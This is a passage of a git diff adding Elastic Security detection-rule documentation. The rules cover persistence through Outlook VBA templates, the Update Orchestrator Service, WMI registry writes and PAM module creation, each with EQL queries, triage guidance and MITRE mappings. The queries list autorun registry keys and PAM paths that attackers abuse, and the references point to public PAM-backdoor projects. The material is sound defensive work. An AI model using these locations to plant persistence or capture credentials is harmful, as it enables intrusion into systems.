Support/JAMF/ManagementFrameworkScripts/loginhook.sh" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: Login Hook +** ID: T1037.002 +** Reference URL: https://attack.mitre.org/techniques/T1037/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-microsoft-outlook-vba.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-microsoft-outlook-vba.asciidoc new file mode 100644 index 0000000000..447b1f3abc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-microsoft-outlook-vba.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-persistence-via-microsoft-outlook-vba]] +=== Persistence via Microsoft Outlook VBA + +Detects attempts to establish persistence on an endpoint by installing a rogue Microsoft Outlook VBA Template. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/ +* https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 312 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Microsoft Outlook VBA* + + +Microsoft Outlook supports VBA scripting to automate tasks, which can be exploited by adversaries to maintain persistence. Attackers may install malicious VBA templates in the Outlook environment, triggering scripts upon application startup. The detection rule identifies suspicious activity by monitoring for unauthorized modifications to the VBAProject.OTM file, a common target for such persistence techniques, leveraging various data sources to flag potential threats. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file path matches the pattern "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM" and ensure the event type is not "deletion". +- Check the modification timestamp of the VbaProject.OTM file to determine when the unauthorized change occurred. +- Identify the user account associated with the file path to understand which user profile was potentially compromised. +- Investigate recent login activities and processes executed by the identified user to detect any anomalies or unauthorized access. +- Examine the contents of the VbaProject.OTM file for any suspicious or unfamiliar VBA scripts that could indicate malicious intent. +- Correlate the findings with other data sources such as Sysmon, Microsoft Defender for Endpoint, or SentinelOne to gather additional context or related events. +- Assess the risk and impact of the detected activity and determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Routine updates or legitimate changes to the Outlook environment can trigger alerts. Users should verify if recent software updates or administrative changes align with the detected activity. +- Custom scripts or macros developed by IT departments for legitimate automation tasks may be flagged. Establish a whitelist of known and approved VBA scripts to prevent unnecessary alerts. +- User-initiated actions such as importing or exporting Outlook settings might modify the VbaProject.OTM file. Educate users on the implications of these actions and consider excluding these specific user actions from triggering alerts. +- Security software or backup solutions that interact with Outlook files could cause false positives. Identify and exclude these processes if they are known to be safe and necessary for operations. +- Regularly review and update the exclusion list to ensure it reflects current organizational needs and does not inadvertently allow malicious activity. + + +*Response and remediation* + + +- Isolate the affected endpoint from the network to prevent further spread of the malicious VBA script and to contain the threat. +- Terminate any suspicious Outlook processes on the affected machine to stop the execution of potentially harmful scripts. +- Remove the unauthorized or malicious VbaProject.OTM file from the affected user's Outlook directory to eliminate the persistence mechanism. +- Restore the VbaProject.OTM file from a known good backup if available, ensuring that it is free from any unauthorized modifications. +- Conduct a full antivirus and antimalware scan on the affected endpoint using tools like Microsoft Defender for Endpoint to identify and remove any additional threats. +- Review and update endpoint security policies to restrict unauthorized modifications to Outlook VBA files, leveraging application whitelisting or similar controls. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.name : "VbaProject.OTM" and + file.path : ("?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM", "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Office Template Macros +** ID: T1137.001 +** Reference URL: https://attack.mitre.org/techniques/T1137/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-update-orchestrator-service-hijack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-update-orchestrator-service-hijack.asciidoc new file mode 100644 index 0000000000..142b6fed82 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-update-orchestrator-service-hijack.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-20-persistence-via-update-orchestrator-service-hijack]] +=== Persistence via Update Orchestrator Service Hijack + +Identifies potential hijacking of the Microsoft Update Orchestrator Service to establish persistence with an integrity level of SYSTEM. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/irsl/CVE-2020-1313 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Use Case: Vulnerability +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Data Source: SentinelOne + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Persistence via Update Orchestrator Service Hijack* + + +Windows Update Orchestrator Service is a DCOM service used by other components to install Windows updates that are already downloaded. Windows Update Orchestrator Service was vulnerable to elevation of privileges (any user to local system) due to an improper authorization of the callers. The vulnerability affected the Windows 10 and Windows Server Core products. Fixed by Microsoft on Patch Tuesday June 2020. + +This rule will detect uncommon processes spawned by `svchost.exe` with `UsoSvc` as the command line parameters. Attackers can leverage this technique to elevate privileges or maintain persistence. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.executable : "C:\\Windows\\System32\\svchost.exe" and + process.parent.args : "UsoSvc" and + not process.executable : + ("?:\\ProgramData\\Microsoft\\Windows\\UUS\\Packages\\*\\amd64\\MoUsoCoreWorker.exe", + "?:\\Windows\\System32\\UsoClient.exe", + "?:\\Windows\\System32\\MusNotification.exe", + "?:\\Windows\\System32\\MusNotificationUx.exe", + "?:\\Windows\\System32\\MusNotifyIcon.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\System32\\WerMgr.exe", + "?:\\Windows\\UUS\\amd64\\MoUsoCoreWorker.exe", + "?:\\Windows\\System32\\MoUsoCoreWorker.exe", + "?:\\Windows\\UUS\\amd64\\UsoCoreWorker.exe", + "?:\\Windows\\System32\\UsoCoreWorker.exe", + "?:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") and + not process.name : ("MoUsoCoreWorker.exe", "OfficeC2RClient.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services Registry Permissions Weakness +** ID: T1574.011 +** Reference URL: https://attack.mitre.org/techniques/T1574/011/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-wmi-standard-registry-provider.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-wmi-standard-registry-provider.asciidoc new file mode 100644 index 0000000000..a3f2ba78a1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-persistence-via-wmi-standard-registry-provider.asciidoc @@ -0,0 +1,218 @@ +[[prebuilt-rule-8-19-20-persistence-via-wmi-standard-registry-provider]] +=== Persistence via WMI Standard Registry Provider + +Identifies use of the Windows Management Instrumentation StdRegProv (registry provider) to modify commonly abused registry locations for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/previous-versions/windows/desktop/regprov/stdregprov +* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Persistence via WMI Standard Registry Provider* + + +The Windows Management Instrumentation (WMI) StdRegProv is a registry provider that allows users to manage registry keys and values on Windows systems. Adversaries may abuse this functionality to modify registry locations commonly used for persistence, enabling them to maintain unauthorized access to a system. + +This rule identifies instances where the WMI StdRegProv is used to modify specific registry paths associated with persistence mechanisms. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Identify which process triggered this behavior. +- Verify whether the file specified in the run key is signed. +- Examine the host for derived artifacts that indicate suspicious activities: + - Examine the file specified in the run key using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings != null and process.name : "WmiPrvSe.exe" and + registry.path : ( + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\ServiceDLL", + "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\ImagePath", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*", + "HKEY_USERS\\*\\Environment\\UserInitMprLogonScript", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "\\REGISTRY\\MACHINE\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Services\\*\\ServiceDLL", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Services\\*\\ImagePath", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*", + "\\REGISTRY\\USER\\*\\Environment\\UserInitMprLogonScript", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: Logon Script (Windows) +** ID: T1037.001 +** Reference URL: https://attack.mitre.org/techniques/T1037/001/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Sub-technique: +** Name: Winlogon Helper DLL +** ID: T1547.004 +** Reference URL: https://attack.mitre.org/techniques/T1547/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pluggable-authentication-module-or-configuration-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pluggable-authentication-module-or-configuration-creation.asciidoc new file mode 100644 index 0000000000..0db1a66a6e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pluggable-authentication-module-or-configuration-creation.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-20-pluggable-authentication-module-or-configuration-creation]] +=== Pluggable Authentication Module or Configuration Creation + +This rule monitors for the creation of Pluggable Authentication Module (PAM) shared object files or configuration files. Attackers may create these files to maintain persistence on a compromised system, or harvest account credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/zephrax/linux-pam-backdoor +* https://github.com/eurialo/pambd +* http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html +* https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pluggable Authentication Module or Configuration Creation* + + +Pluggable Authentication Modules (PAM) are integral to Linux systems, managing authentication tasks. Adversaries may exploit PAM by creating or altering its modules or configurations to gain persistence or capture credentials. The detection rule identifies suspicious activities by monitoring file operations in PAM directories, excluding legitimate processes, thus highlighting potential unauthorized modifications. + + +*Possible investigation steps* + + +- Review the file path and extension to determine if the modified or created file is a PAM shared object or configuration file, focusing on paths like "/lib/security/*", "/etc/pam.d/*", and "/etc/security/pam_*". +- Identify the process executable responsible for the file operation and verify if it is listed as an excluded legitimate process, such as "/bin/dpkg" or "/usr/bin/yum". If not, investigate the process further. +- Check the process execution history and command line arguments to understand the context of the file operation and assess if it aligns with typical system administration tasks. +- Investigate the user account associated with the process to determine if it has legitimate access and permissions to modify PAM files, and check for any signs of compromise or misuse. +- Examine recent system logs and security alerts for any related suspicious activities or anomalies that might indicate a broader attack or compromise. +- If the file operation is deemed suspicious, consider restoring the original PAM configuration from a known good backup and monitor the system for any further unauthorized changes. + + +*False positive analysis* + + +- Package management operations: Legitimate package managers like dpkg, rpm, and yum may trigger the rule during software updates or installations. To handle this, exclude these processes by adding them to the exception list in the rule configuration. +- System updates and maintenance: Processes such as pam-auth-update and systemd may modify PAM configurations during routine system updates. Exclude these processes to prevent false positives. +- Temporary files: Files with extensions like swp, swpx, and swx are often temporary and not indicative of malicious activity. Exclude these extensions to reduce noise. +- Development environments: Paths like /nix/store/* and /snap/* may be used in development or containerized environments. Consider excluding these paths if they are part of a known and secure setup. +- Automated scripts: Scripts using tools like sed or perl may create temporary files that match the rule's criteria. Exclude these specific patterns if they are part of regular, non-malicious operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Review the specific PAM module or configuration file that was created or modified to understand the changes made and assess the potential impact on system security. +- Restore the affected PAM files from a known good backup to ensure the integrity of the authentication process and remove any malicious modifications. +- Conduct a thorough scan of the system using updated antivirus and anti-malware tools to identify and remove any additional malicious software that may have been introduced. +- Monitor the system and network for any signs of continued unauthorized access or suspicious activity, focusing on the indicators of compromise related to PAM manipulation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement additional monitoring and alerting for PAM-related activities to enhance detection capabilities and prevent similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and process.executable != null and ( + (file.path like ( + "/lib/security/*", "/lib64/security/*", "/usr/lib/security/*", "/usr/lib64/security/*", + "/lib/x86_64-linux-gnu/security/*", "/usr/lib/x86_64-linux-gnu/security/*" + ) and file.extension == "so") or + (file.path like "/etc/pam.d/*" and file.extension == null) or + (file.path like "/etc/security/pam_*" or file.path == "/etc/pam.conf") +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + 